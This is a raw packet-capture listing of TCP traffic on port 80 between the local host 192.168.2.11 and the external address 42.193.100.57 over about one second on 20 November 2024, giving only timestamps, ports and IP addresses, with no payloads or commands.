Nov 20, 2024 09:14:52.486772060 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.486794949 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.486809015 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.486815929 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.486830950 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.486852884 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.486860037 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.486875057 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.486891031 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.486910105 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.486920118 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.486928940 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.486943960 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.486960888 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.486963987 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.486984968 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.486987114 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.487001896 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487009048 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.487016916 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487018108 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.487032890 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487046003 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.487046957 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487061024 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487066031 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.487076044 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487088919 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.487092972 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487118006 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.487139940 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.487140894 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487155914 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487169981 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487179995 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.487185001 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487196922 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.487205982 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.487226963 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.487276077 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487288952 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487303019 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487317085 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.487332106 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.487333059 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487361908 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.487375975 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.487406015 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487420082 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487440109 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.487452984 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487456083 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.487467051 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487488985 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487488985 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.487504005 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487512112 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.487519026 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487530947 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.487534046 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487549067 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487548113 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.487572908 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.487585068 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487601042 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.487620115 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.487659931 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487673998 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487688065 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487693071 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.487706900 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487723112 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487726927 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.487736940 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487751007 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487763882 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487765074 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.487777948 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487787962 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.487792015 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487796068 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.487809896 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487826109 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487828016 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.487849951 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.487863064 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487874985 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.487879992 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.487898111 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.487905979 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.809030056 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.809047937 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.809062958 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.809087992 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.809098959 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.809103966 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.809118986 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.809134007 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.809149027 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.809161901 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.809170961 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.809181929 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.809209108 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.809277058 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.809292078 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.809304953 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.809324980 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.809355021 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.809382915 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.809397936 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.809412003 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.809420109 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.809426069 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.809437990 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.809439898 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.809456110 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.809458971 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.809497118 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.809530020 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.809663057 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.809678078 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.809691906 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.809704065 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.809705019 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.809719086 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.809725046 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.809735060 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.809746027 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.809771061 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.809839010 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.809863091 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.809875965 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.809885979 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.809890985 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.809906006 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.809906960 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.809916973 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.809921026 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.809935093 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.809936047 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.809947968 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.809951067 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.809966087 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.809981108 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.809984922 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.810009003 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.810153008 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.810165882 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.810178995 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.810193062 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.810201883 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.810206890 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.810221910 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.810230970 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.810236931 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.810252905 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.810265064 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.810266018 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.810327053 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.810533047 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.810545921 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.810561895 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.810570002 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.810580015 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.810580969 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.810591936 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.810628891 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.810704947 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.810719013 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.810733080 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.810745955 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.810754061 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.810760021 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.810775042 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.810775995 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.810791016 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.810817003 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.810817003 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.810847044 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.810973883 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.810987949 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.811003923 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.811017036 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.811027050 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.811031103 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.811044931 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.811048031 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.811059952 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.811074972 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.811074972 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.811090946 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.811095953 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.811106920 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.811120987 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.811145067 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.811290979 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.811305046 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.811326027 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.811337948 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.811352968 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.811357975 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.811378956 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.811384916 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.811393976 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.811403036 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.811412096 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.811429977 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.811445951 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.811467886 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.811476946 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.811482906 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.811496019 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.811501026 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.811522007 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.811522961 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.811537027 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.811551094 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.811558962 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.811566114 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.811587095 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.811609030 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.811635971 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.811681032 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.811752081 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.811767101 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.811779976 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.811794043 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.811794996 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.811804056 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.811810017 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.811827898 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.811840057 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.811841965 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.811858892 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.811880112 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.811880112 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.811894894 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.892420053 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.892502069 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.108952999 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.108973026 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.108988047 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109014988 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.109026909 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109042883 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109045029 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.109075069 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109090090 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.109091043 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109107018 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109114885 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.109138966 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.109149933 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109165907 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109180927 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109184980 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.109195948 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109208107 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.109214067 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109220982 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.109230995 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109241962 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.109246969 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109251976 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.109272003 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.109278917 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.109283924 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109298944 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109318972 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.109325886 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.109383106 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109396935 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109411001 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109421015 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.109426022 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109430075 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.109451056 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.109457970 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109504938 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.109504938 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.109519005 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109534979 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109551907 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109555960 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.109566927 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109575987 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.109581947 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109584093 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.109599113 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109605074 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.109621048 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.109631062 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.109635115 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109673023 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.109749079 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109764099 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109778881 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109792948 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109812975 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109819889 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.109819889 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.109819889 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.109829903 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109841108 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.109846115 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109858990 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.109874964 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109875917 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.109891891 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109899044 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.109908104 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109915972 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.109924078 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109935999 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.109945059 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.109956980 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109963894 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.109972000 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109987020 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.109994888 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.110002995 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110004902 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.110025883 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.110033989 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.110096931 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110110998 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110126019 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110136986 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110146999 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.110151052 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110158920 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.110166073 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110179901 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110193014 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.110197067 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110208035 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.110234976 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110238075 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.110249996 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110276937 CET	49701	80	192.168.2.11	42.193.100.57
